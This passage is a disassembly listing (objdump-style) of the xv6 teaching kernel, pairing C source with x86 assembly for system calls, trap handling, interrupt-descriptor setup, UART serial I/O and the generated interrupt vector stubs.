%eax,(%esp) 80105263: e8 88 eb ff ff call 80103df0 <kill> } 80105268: c9 leave 80105269: c3 ret 8010526a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80105270: b8 ff ff ff ff mov $0xffffffff,%eax } 80105275: c9 leave 80105276: c3 ret 80105277: 89 f6 mov %esi,%esi 80105279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105280 <sys_getpid>: int sys_getpid(void) { 80105280: 55 push %ebp 80105281: 89 e5 mov %esp,%ebp 80105283: 83 ec 08 sub $0x8,%esp return myproc()->pid; 80105286: e8 15 e4 ff ff call 801036a0 <myproc> 8010528b: 8b 40 10 mov 0x10(%eax),%eax } 8010528e: c9 leave 8010528f: c3 ret 80105290 <sys_sbrk>: int sys_sbrk(void) { 80105290: 55 push %ebp 80105291: 89 e5 mov %esp,%ebp 80105293: 53 push %ebx 80105294: 83 ec 24 sub $0x24,%esp int addr; int n; if(argint(0, &n) < 0) 80105297: 8d 45 f4 lea -0xc(%ebp),%eax 8010529a: 89 44 24 04 mov %eax,0x4(%esp) 8010529e: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801052a5: e8 e6 f2 ff ff call 80104590 <argint> 801052aa: 85 c0 test %eax,%eax 801052ac: 78 22 js 801052d0 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 801052ae: e8 ed e3 ff ff call 801036a0 <myproc> if(growproc(n) < 0) 801052b3: 8b 55 f4 mov -0xc(%ebp),%edx addr = myproc()->sz; 801052b6: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 801052b8: 89 14 24 mov %edx,(%esp) 801052bb: e8 20 e5 ff ff call 801037e0 <growproc> 801052c0: 85 c0 test %eax,%eax 801052c2: 78 0c js 801052d0 <sys_sbrk+0x40> return -1; return addr; 801052c4: 89 d8 mov %ebx,%eax } 801052c6: 83 c4 24 add $0x24,%esp 801052c9: 5b pop %ebx 801052ca: 5d pop %ebp 801052cb: c3 ret 801052cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801052d0: b8 ff ff ff ff mov $0xffffffff,%eax 801052d5: eb ef jmp 801052c6 <sys_sbrk+0x36> 801052d7: 89 f6 mov %esi,%esi 801052d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801052e0 <sys_sleep>: int sys_sleep(void) { 801052e0: 55 push %ebp 801052e1: 89 e5 mov %esp,%ebp 801052e3: 53 push %ebx 801052e4: 83 ec 24 sub $0x24,%esp int n; uint ticks0; if(argint(0, &n) < 0) 801052e7: 8d 45 f4 lea -0xc(%ebp),%eax 801052ea: 89 44 24 04 mov %eax,0x4(%esp) 801052ee: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801052f5: e8 96 f2 ff ff call 80104590 <argint> 801052fa: 85 c0 test %eax,%eax 801052fc: 78 7e js 8010537c <sys_sleep+0x9c> return -1; acquire(&tickslock); 801052fe: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 80105305: e8 d6 ee ff ff call 801041e0 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 8010530a: 8b 55 f4 mov -0xc(%ebp),%edx ticks0 = ticks; 8010530d: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx while(ticks - ticks0 < n){ 80105313: 85 d2 test %edx,%edx 80105315: 75 29 jne 80105340 <sys_sleep+0x60> 80105317: eb 4f jmp 80105368 <sys_sleep+0x88> 80105319: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80105320: c7 44 24 04 60 4c 11 movl $0x80114c60,0x4(%esp) 80105327: 80 80105328: c7 04 24 a0 54 11 80 movl $0x801154a0,(%esp) 8010532f: e8 cc e8 ff ff call 80103c00 <sleep> while(ticks - ticks0 < n){ 80105334: a1 a0 54 11 80 mov 0x801154a0,%eax 80105339: 29 d8 sub %ebx,%eax 8010533b: 3b 45 f4 cmp -0xc(%ebp),%eax 8010533e: 73 28 jae 80105368 <sys_sleep+0x88> if(myproc()->killed){ 80105340: e8 5b e3 ff ff call 801036a0 <myproc> 80105345: 8b 40 24 mov 0x24(%eax),%eax 80105348: 85 c0 test %eax,%eax 8010534a: 74 d4 je 80105320 <sys_sleep+0x40> release(&tickslock); 8010534c: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 80105353: e8 f8 ee ff ff call 80104250 <release> return -1; 80105358: b8 ff ff ff ff mov $0xffffffff,%eax } release(&tickslock); return 0; } 8010535d: 83 c4 24 add $0x24,%esp 80105360: 5b pop %ebx 80105361: 5d pop %ebp 80105362: c3 ret 80105363: 90 nop 80105364: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&tickslock); 80105368: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 8010536f: e8 dc ee ff ff call 80104250 <release> } 80105374: 83 c4 24 add $0x24,%esp return 0; 80105377: 31 c0 xor %eax,%eax } 80105379: 5b pop %ebx 8010537a: 5d pop %ebp 8010537b: c3 ret return -1; 8010537c: b8 ff ff ff ff mov $0xffffffff,%eax 80105381: eb da jmp 8010535d <sys_sleep+0x7d> 80105383: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105390 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 80105390: 55 push %ebp 80105391: 89 e5 mov %esp,%ebp 80105393: 53 push %ebx 80105394: 83 ec 14 sub $0x14,%esp uint xticks; acquire(&tickslock); 80105397: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 8010539e: e8 3d ee ff ff call 801041e0 <acquire> xticks = ticks; 801053a3: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx release(&tickslock); 801053a9: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 801053b0: e8 9b ee ff ff call 80104250 <release> return xticks; } 801053b5: 83 c4 14 add $0x14,%esp 801053b8: 89 d8 mov %ebx,%eax 801053ba: 5b pop %ebx 801053bb: 5d pop %ebp 801053bc: c3 ret 801053bd <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 801053bd: 1e push %ds pushl %es 801053be: 06 push %es pushl %fs 801053bf: 0f a0 push %fs pushl %gs 801053c1: 0f a8 push %gs pushal 801053c3: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 801053c4: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 801053c8: 8e d8 mov %eax,%ds movw %ax, %es 801053ca: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 801053cc: 54 push %esp call trap 801053cd: e8 de 00 00 00 call 801054b0 <trap> addl $4, %esp 801053d2: 83 c4 04 add $0x4,%esp 801053d5 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 801053d5: 61 popa popl %gs 801053d6: 0f a9 pop %gs popl %fs 801053d8: 0f a1 pop %fs popl %es 801053da: 07 pop %es popl %ds 801053db: 1f pop %ds addl $0x8, %esp # trapno and errcode 801053dc: 83 c4 08 add $0x8,%esp iret 801053df: cf iret 801053e0 <tvinit>: void tvinit(void) { int i; for(i = 0; i < 256; i++) 801053e0: 31 c0 xor %eax,%eax 801053e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 801053e8: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 801053ef: b9 08 00 00 00 mov $0x8,%ecx 801053f4: 66 89 0c c5 a2 4c 11 mov %cx,-0x7feeb35e(,%eax,8) 801053fb: 80 801053fc: c6 04 c5 a4 4c 11 80 movb $0x0,-0x7feeb35c(,%eax,8) 80105403: 00 80105404: c6 04 c5 a5 4c 11 80 movb $0x8e,-0x7feeb35b(,%eax,8) 8010540b: 8e 8010540c: 66 89 14 c5 a0 4c 11 mov %dx,-0x7feeb360(,%eax,8) 80105413: 80 80105414: c1 ea 10 shr $0x10,%edx 80105417: 66 89 14 c5 a6 4c 11 mov %dx,-0x7feeb35a(,%eax,8) 8010541e: 80 for(i = 0; i < 256; i++) 8010541f: 83 c0 01 add $0x1,%eax 80105422: 3d 00 01 00 00 cmp $0x100,%eax 80105427: 75 bf jne 801053e8 <tvinit+0x8> { 80105429: 55 push %ebp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 8010542a: ba 08 00 00 00 mov $0x8,%edx { 8010542f: 89 e5 mov %esp,%ebp 80105431: 83 ec 18 sub $0x18,%esp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105434: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 80105439: c7 44 24 04 79 73 10 movl $0x80107379,0x4(%esp) 80105440: 80 80105441: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105448: 66 89 15 a2 4e 11 80 mov %dx,0x80114ea2 8010544f: 66 a3 a0 4e 11 80 mov %ax,0x80114ea0 80105455: c1 e8 10 shr $0x10,%eax 80105458: c6 05 a4 4e 11 80 00 movb $0x0,0x80114ea4 8010545f: c6 05 a5 4e 11 80 ef movb $0xef,0x80114ea5 80105466: 66 a3 a6 4e 11 80 mov %ax,0x80114ea6 initlock(&tickslock, "time"); 8010546c: e8 ff eb ff ff call 80104070 <initlock> } 80105471: c9 leave 80105472: c3 ret 80105473: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105480 <idtinit>: void idtinit(void) { 80105480: 55 push %ebp pd[0] = size-1; 80105481: b8 ff 07 00 00 mov $0x7ff,%eax 80105486: 89 e5 mov %esp,%ebp 80105488: 83 ec 10 sub $0x10,%esp 8010548b: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 8010548f: b8 a0 4c 11 80 mov $0x80114ca0,%eax 80105494: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80105498: c1 e8 10 shr $0x10,%eax 8010549b: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 8010549f: 8d 45 fa lea -0x6(%ebp),%eax 801054a2: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 801054a5: c9 leave 801054a6: c3 ret 801054a7: 89 f6 mov %esi,%esi 801054a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801054b0 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 801054b0: 55 push %ebp 801054b1: 89 e5 mov %esp,%ebp 801054b3: 57 push %edi 801054b4: 56 push %esi 801054b5: 53 push %ebx 801054b6: 83 ec 3c sub $0x3c,%esp 801054b9: 8b 5d 08 mov 0x8(%ebp),%ebx if(tf->trapno == T_SYSCALL){ 801054bc: 8b 43 30 mov 0x30(%ebx),%eax 801054bf: 83 f8 40 cmp $0x40,%eax 801054c2: 0f 84 a0 01 00 00 je 80105668 <trap+0x1b8> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 801054c8: 83 e8 20 sub $0x20,%eax 801054cb: 83 f8 1f cmp $0x1f,%eax 801054ce: 77 08 ja 801054d8 <trap+0x28> 801054d0: ff 24 85 20 74 10 80 jmp *-0x7fef8be0(,%eax,4) 801054d7: 90 nop lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 801054d8: e8 c3 e1 ff ff call 801036a0 <myproc> 801054dd: 85 c0 test %eax,%eax 801054df: 90 nop 801054e0: 0f 84 fa 01 00 00 je 801056e0 <trap+0x230> 801054e6: f6 43 3c 03 testb $0x3,0x3c(%ebx) 801054ea: 0f 84 f0 01 00 00 je 801056e0 <trap+0x230> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 801054f0: 0f 20 d1 mov %cr2,%ecx cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 801054f3: 8b 53 38 mov 0x38(%ebx),%edx 801054f6: 89 4d d8 mov %ecx,-0x28(%ebp) 801054f9: 89 55 dc mov %edx,-0x24(%ebp) 801054fc: e8 7f e1 ff ff call 80103680 <cpuid> 80105501: 8b 73 30 mov 0x30(%ebx),%esi 80105504: 89 c7 mov %eax,%edi 80105506: 8b 43 34 mov 0x34(%ebx),%eax 80105509: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 8010550c: e8 8f e1 ff ff call 801036a0 <myproc> 80105511: 89 45 e0 mov %eax,-0x20(%ebp) 80105514: e8 87 e1 ff ff call 801036a0 <myproc> cprintf("pid %d %s: trap %d err %d on cpu %d " 80105519: 8b 55 dc mov -0x24(%ebp),%edx 8010551c: 89 74 24 0c mov %esi,0xc(%esp) myproc()->pid, myproc()->name, tf->trapno, 80105520: 8b 75 e0 mov -0x20(%ebp),%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 80105523: 8b 4d d8 mov -0x28(%ebp),%ecx 80105526: 89 7c 24 14 mov %edi,0x14(%esp) 8010552a: 89 54 24 18 mov %edx,0x18(%esp) 8010552e: 8b 55 e4 mov -0x1c(%ebp),%edx myproc()->pid, myproc()->name, tf->trapno, 80105531: 83 c6 6c add $0x6c,%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 80105534: 89 4c 24 1c mov %ecx,0x1c(%esp) myproc()->pid, myproc()->name, tf->trapno, 80105538: 89 74 24 08 mov %esi,0x8(%esp) cprintf("pid %d %s: trap %d err %d on cpu %d " 8010553c: 89 54 24 10 mov %edx,0x10(%esp) 80105540: 8b 40 10 mov 0x10(%eax),%eax 80105543: c7 04 24 dc 73 10 80 movl $0x801073dc,(%esp) 8010554a: 89 44 24 04 mov %eax,0x4(%esp) 8010554e: e8 fd b0 ff ff call 80100650 <cprintf> tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 80105553: e8 48 e1 ff ff call 801036a0 <myproc> 80105558: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) 8010555f: 90 nop } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105560: e8 3b e1 ff ff call 801036a0 <myproc> 80105565: 85 c0 test %eax,%eax 80105567: 74 0c je 80105575 <trap+0xc5> 80105569: e8 32 e1 ff ff call 801036a0 <myproc> 8010556e: 8b 50 24 mov 0x24(%eax),%edx 80105571: 85 d2 test %edx,%edx 80105573: 75 4b jne 801055c0 <trap+0x110> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 80105575: e8 26 e1 ff ff call 801036a0 <myproc> 8010557a: 85 c0 test %eax,%eax 8010557c: 74 0d je 8010558b <trap+0xdb> 8010557e: 66 90 xchg %ax,%ax 80105580: e8 1b e1 ff ff call 801036a0 <myproc> 80105585: 83 78 0c 04 cmpl $0x4,0xc(%eax) 80105589: 74 4d je 801055d8 <trap+0x128> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 8010558b: e8 10 e1 ff ff call 801036a0 <myproc> 80105590: 85 c0 test %eax,%eax 80105592: 74 1d je 801055b1 <trap+0x101> 80105594: e8 07 e1 ff ff call 801036a0 <myproc> 80105599: 8b 40 24 mov 0x24(%eax),%eax 8010559c: 85 c0 test %eax,%eax 8010559e: 74 11 je 801055b1 <trap+0x101> 801055a0: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 801055a4: 83 e0 03 and $0x3,%eax 801055a7: 66 83 f8 03 cmp $0x3,%ax 801055ab: 0f 84 e8 00 00 00 je 80105699 <trap+0x1e9> exit(); } 801055b1: 83 c4 3c add $0x3c,%esp 801055b4: 5b pop %ebx 801055b5: 5e pop %esi 801055b6: 5f pop %edi 801055b7: 5d pop %ebp 801055b8: c3 ret 801055b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801055c0: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 801055c4: 83 e0 03 and $0x3,%eax 801055c7: 66 83 f8 03 cmp $0x3,%ax 801055cb: 75 a8 jne 80105575 <trap+0xc5> exit(); 801055cd: e8 ce e4 ff ff call 80103aa0 <exit> 801055d2: eb a1 jmp 80105575 <trap+0xc5> 801055d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc() && myproc()->state == RUNNING && 801055d8: 83 7b 30 20 cmpl $0x20,0x30(%ebx) 801055dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801055e0: 75 a9 jne 8010558b <trap+0xdb> yield(); 801055e2: e8 d9 e5 ff ff call 80103bc0 <yield> 801055e7: eb a2 jmp 8010558b <trap+0xdb> 801055e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(cpuid() == 0){ 801055f0: e8 8b e0 ff ff call 80103680 <cpuid> 801055f5: 85 c0 test %eax,%eax 801055f7: 0f 84 b3 00 00 00 je 801056b0 <trap+0x200> 801055fd: 8d 76 00 lea 0x0(%esi),%esi lapiceoi(); 80105600: e8 7b d1 ff ff call 80102780 <lapiceoi> break; 80105605: e9 56 ff ff ff jmp 80105560 <trap+0xb0> 8010560a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi kbdintr(); 80105610: e8 bb cf ff ff call 801025d0 <kbdintr> lapiceoi(); 80105615: e8 66 d1 ff ff call 80102780 <lapiceoi> break; 8010561a: e9 41 ff ff ff jmp 80105560 <trap+0xb0> 8010561f: 90 nop uartintr(); 80105620: e8 1b 02 00 00 call 80105840 <uartintr> lapiceoi(); 80105625: e8 56 d1 ff ff call 80102780 <lapiceoi> break; 8010562a: e9 31 ff ff ff jmp 80105560 <trap+0xb0> 8010562f: 90 nop cprintf("cpu%d: spurious interrupt at %x:%x\n", 80105630: 8b 7b 38 mov 0x38(%ebx),%edi 80105633: 0f b7 73 3c movzwl 0x3c(%ebx),%esi 80105637: e8 44 e0 ff ff call 80103680 <cpuid> 8010563c: c7 04 24 84 73 10 80 movl $0x80107384,(%esp) 80105643: 89 7c 24 0c mov %edi,0xc(%esp) 80105647: 89 74 24 08 mov %esi,0x8(%esp) 8010564b: 89 44 24 04 mov %eax,0x4(%esp) 8010564f: e8 fc af ff ff call 80100650 <cprintf> lapiceoi(); 80105654: e8 27 d1 ff ff call 80102780 <lapiceoi> break; 80105659: e9 02 ff ff ff jmp 80105560 <trap+0xb0> 8010565e: 66 90 xchg %ax,%ax ideintr(); 80105660: e8 1b ca ff ff call 80102080 <ideintr> 80105665: eb 96 jmp 801055fd <trap+0x14d> 80105667: 90 nop 80105668: 90 nop 80105669: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed) 80105670: e8 2b e0 ff ff call 801036a0 <myproc> 80105675: 8b 70 24 mov 0x24(%eax),%esi 80105678: 85 f6 test %esi,%esi 8010567a: 75 2c jne 801056a8 <trap+0x1f8> myproc()->tf = tf; 8010567c: e8 1f e0 ff ff call 801036a0 <myproc> 80105681: 89 58 18 mov %ebx,0x18(%eax) syscall(); 80105684: e8 d7 ef ff ff call 80104660 <syscall> if(myproc()->killed) 80105689: e8 12 e0 ff ff call 801036a0 <myproc> 8010568e: 8b 48 24 mov 0x24(%eax),%ecx 80105691: 85 c9 test %ecx,%ecx 80105693: 0f 84 18 ff ff ff je 801055b1 <trap+0x101> } 80105699: 83 c4 3c add $0x3c,%esp 8010569c: 5b pop %ebx 8010569d: 5e pop %esi 8010569e: 5f pop %edi 8010569f: 5d pop %ebp exit(); 801056a0: e9 fb e3 ff ff jmp 80103aa0 <exit> 801056a5: 8d 76 00 lea 0x0(%esi),%esi exit(); 801056a8: e8 f3 e3 ff ff call 80103aa0 <exit> 801056ad: eb cd jmp 8010567c <trap+0x1cc> 801056af: 90 nop acquire(&tickslock); 801056b0: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 801056b7: e8 24 eb ff ff call 801041e0 <acquire> wakeup(&ticks); 801056bc: c7 04 24 a0 54 11 80 movl $0x801154a0,(%esp) ticks++; 801056c3: 83 05 a0 54 11 80 01 addl $0x1,0x801154a0 wakeup(&ticks); 801056ca: e8 c1 e6 ff ff call 80103d90 <wakeup> release(&tickslock); 801056cf: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 801056d6: e8 75 eb ff ff call 80104250 <release> 801056db: e9 1d ff ff ff jmp 801055fd <trap+0x14d> 801056e0: 0f 20 d7 mov %cr2,%edi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 801056e3: 8b 73 38 mov 0x38(%ebx),%esi 801056e6: e8 95 df ff ff call 80103680 <cpuid> 801056eb: 89 7c 24 10 mov %edi,0x10(%esp) 801056ef: 89 74 24 0c mov %esi,0xc(%esp) 801056f3: 89 44 24 08 mov %eax,0x8(%esp) 801056f7: 8b 43 30 mov 0x30(%ebx),%eax 801056fa: c7 04 24 a8 73 10 80 movl $0x801073a8,(%esp) 80105701: 89 44 24 04 mov %eax,0x4(%esp) 80105705: e8 46 af ff ff call 80100650 <cprintf> panic("trap"); 8010570a: c7 04 24 7e 73 10 80 movl $0x8010737e,(%esp) 80105711: e8 4a ac ff ff call 80100360 <panic> 80105716: 66 90 xchg %ax,%ax 80105718: 66 90 xchg %ax,%ax 8010571a: 66 90 xchg %ax,%ax 8010571c: 66 90 xchg %ax,%ax 8010571e: 66 90 xchg %ax,%ax 80105720 <uartgetc>: } static int uartgetc(void) { if(!uart) 80105720: a1 bc a5 10 80 mov 0x8010a5bc,%eax { 80105725: 55 push %ebp 80105726: 89 e5 mov %esp,%ebp if(!uart) 80105728: 85 c0 test %eax,%eax 8010572a: 74 14 je 80105740 <uartgetc+0x20> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010572c: ba fd 03 00 00 mov $0x3fd,%edx 80105731: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 80105732: a8 01 test $0x1,%al 80105734: 74 0a je 80105740 <uartgetc+0x20> 80105736: b2 f8 mov $0xf8,%dl 80105738: ec in (%dx),%al return -1; return inb(COM1+0); 80105739: 0f b6 c0 movzbl %al,%eax } 8010573c: 5d pop %ebp 8010573d: c3 ret 8010573e: 66 90 xchg %ax,%ax return -1; 80105740: b8 ff ff ff ff mov $0xffffffff,%eax } 80105745: 5d pop %ebp 80105746: c3 ret 80105747: 89 f6 mov %esi,%esi 80105749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105750 <uartputc>: if(!uart) 80105750: a1 bc a5 10 80 mov 0x8010a5bc,%eax 80105755: 85 c0 test %eax,%eax 80105757: 74 3f je 80105798 <uartputc+0x48> { 80105759: 55 push %ebp 8010575a: 89 e5 mov %esp,%ebp 8010575c: 56 push %esi 8010575d: be fd 03 00 00 mov $0x3fd,%esi 80105762: 53 push %ebx if(!uart) 80105763: bb 80 00 00 00 mov $0x80,%ebx { 80105768: 83 ec 10 sub $0x10,%esp 8010576b: eb 14 jmp 80105781 <uartputc+0x31> 8010576d: 8d 76 00 lea 0x0(%esi),%esi microdelay(10); 80105770: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 80105777: e8 24 d0 ff ff call 801027a0 <microdelay> for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 8010577c: 83 eb 01 sub $0x1,%ebx 8010577f: 74 07 je 80105788 <uartputc+0x38> 80105781: 89 f2 mov %esi,%edx 80105783: ec in (%dx),%al 80105784: a8 20 test $0x20,%al 80105786: 74 e8 je 80105770 <uartputc+0x20> outb(COM1+0, c); 80105788: 0f b6 45 08 movzbl 0x8(%ebp),%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010578c: ba f8 03 00 00 mov $0x3f8,%edx 80105791: ee out %al,(%dx) } 80105792: 83 c4 10 add $0x10,%esp 80105795: 5b pop %ebx 80105796: 5e pop %esi 80105797: 5d pop %ebp 80105798: f3 c3 repz ret 8010579a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801057a0 <uartinit>: { 801057a0: 55 push %ebp 801057a1: 31 c9 xor %ecx,%ecx 801057a3: 89 e5 mov %esp,%ebp 801057a5: 89 c8 mov %ecx,%eax 801057a7: 57 push %edi 801057a8: bf fa 03 00 00 mov $0x3fa,%edi 801057ad: 56 push %esi 801057ae: 89 fa mov %edi,%edx 801057b0: 53 push %ebx 801057b1: 83 ec 1c sub $0x1c,%esp 801057b4: ee out %al,(%dx) 801057b5: be fb 03 00 00 mov $0x3fb,%esi 801057ba: b8 80 ff ff ff mov $0xffffff80,%eax 801057bf: 89 f2 mov %esi,%edx 801057c1: ee out %al,(%dx) 801057c2: b8 0c 00 00 00 mov $0xc,%eax 801057c7: b2 f8 mov $0xf8,%dl 801057c9: ee out %al,(%dx) 801057ca: bb f9 03 00 00 mov $0x3f9,%ebx 801057cf: 89 c8 mov %ecx,%eax 801057d1: 89 da mov %ebx,%edx 801057d3: ee out %al,(%dx) 801057d4: b8 03 00 00 00 mov $0x3,%eax 801057d9: 89 f2 mov %esi,%edx 801057db: ee out %al,(%dx) 801057dc: b2 fc mov $0xfc,%dl 801057de: 89 c8 mov %ecx,%eax 801057e0: ee out %al,(%dx) 801057e1: b8 01 00 00 00 mov $0x1,%eax 801057e6: 89 da mov %ebx,%edx 801057e8: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801057e9: b2 fd mov $0xfd,%dl 801057eb: ec in (%dx),%al if(inb(COM1+5) == 0xFF) 801057ec: 3c ff cmp $0xff,%al 801057ee: 74 42 je 80105832 <uartinit+0x92> uart = 1; 801057f0: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc 801057f7: 00 00 00 801057fa: 89 fa mov %edi,%edx 801057fc: ec in (%dx),%al 801057fd: b2 f8 mov $0xf8,%dl 801057ff: ec in (%dx),%al ioapicenable(IRQ_COM1, 0); 80105800: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80105807: 00 for(p="xv6...\n"; *p; p++) 80105808: bb a0 74 10 80 mov $0x801074a0,%ebx ioapicenable(IRQ_COM1, 0); 8010580d: c7 04 24 04 00 00 00 movl $0x4,(%esp) 80105814: e8 97 ca ff ff call 801022b0 <ioapicenable> for(p="xv6...\n"; *p; p++) 80105819: b8 78 00 00 00 mov $0x78,%eax 8010581e: 66 90 xchg %ax,%ax uartputc(*p); 80105820: 89 04 24 mov %eax,(%esp) for(p="xv6...\n"; *p; p++) 80105823: 83 c3 01 add $0x1,%ebx uartputc(*p); 80105826: e8 25 ff ff ff call 80105750 <uartputc> for(p="xv6...\n"; *p; p++) 8010582b: 0f be 03 movsbl (%ebx),%eax 8010582e: 84 c0 test %al,%al 80105830: 75 ee jne 80105820 <uartinit+0x80> } 80105832: 83 c4 1c add $0x1c,%esp 80105835: 5b pop %ebx 80105836: 5e pop %esi 80105837: 5f pop %edi 80105838: 5d pop %ebp 80105839: c3 ret 8010583a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105840 <uartintr>: void uartintr(void) { 80105840: 55 push %ebp 80105841: 89 e5 mov %esp,%ebp 80105843: 83 ec 18 sub $0x18,%esp consoleintr(uartgetc); 80105846: c7 04 24 20 57 10 80 movl $0x80105720,(%esp) 8010584d: e8 5e af ff ff call 801007b0 <consoleintr> } 80105852: c9 leave 80105853: c3 ret 80105854 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105854: 6a 00 push $0x0 pushl $0 80105856: 6a 00 push $0x0 jmp alltraps 80105858: e9 60 fb ff ff jmp 801053bd <alltraps> 8010585d <vector1>: .globl vector1 vector1: pushl $0 8010585d: 6a 00 push $0x0 pushl $1 8010585f: 6a 01 push $0x1 jmp alltraps 80105861: e9 57 fb ff ff jmp 801053bd <alltraps> 80105866 <vector2>: .globl vector2 vector2: pushl $0 80105866: 6a 00 push $0x0 pushl $2 80105868: 6a 02 push $0x2 jmp alltraps 8010586a: e9 4e fb ff ff jmp 801053bd <alltraps> 8010586f <vector3>: .globl vector3 vector3: pushl $0 8010586f: 6a 00 push $0x0 pushl $3 80105871: 6a 03 push $0x3 jmp alltraps 80105873: e9 45 fb ff ff jmp 801053bd <alltraps> 80105878 <vector4>: .globl vector4 vector4: pushl $0 80105878: 6a 00 push $0x0 pushl $4 8010587a: 6a 04 push $0x4 jmp alltraps 8010587c: e9 3c fb ff ff jmp 801053bd <alltraps> 80105881 <vector5>: .globl vector5 vector5: pushl $0 80105881: 6a 00 push $0x0 pushl $5 80105883: 6a 05 push $0x5 jmp alltraps 80105885: e9 33 fb ff ff jmp 801053bd <alltraps> 8010588a <vector6>: .globl vector6 vector6: pushl $0 8010588a: 6a 00 push $0x0 pushl $6 8010588c: 6a 06 push $0x6 jmp alltraps 8010588e: e9 2a fb ff ff jmp 801053bd <alltraps> 80105893 <vector7>: .globl vector7 vector7: pushl $0 80105893: 6a 00 push $0x0 pushl $7 80105895: 6a 07 push $0x7 jmp alltraps 80105897: e9 21 fb ff ff jmp 801053bd <alltraps> 8010589c <vector8>: .globl vector8 vector8: pushl $8 8010589c: 6a 08 push $0x8 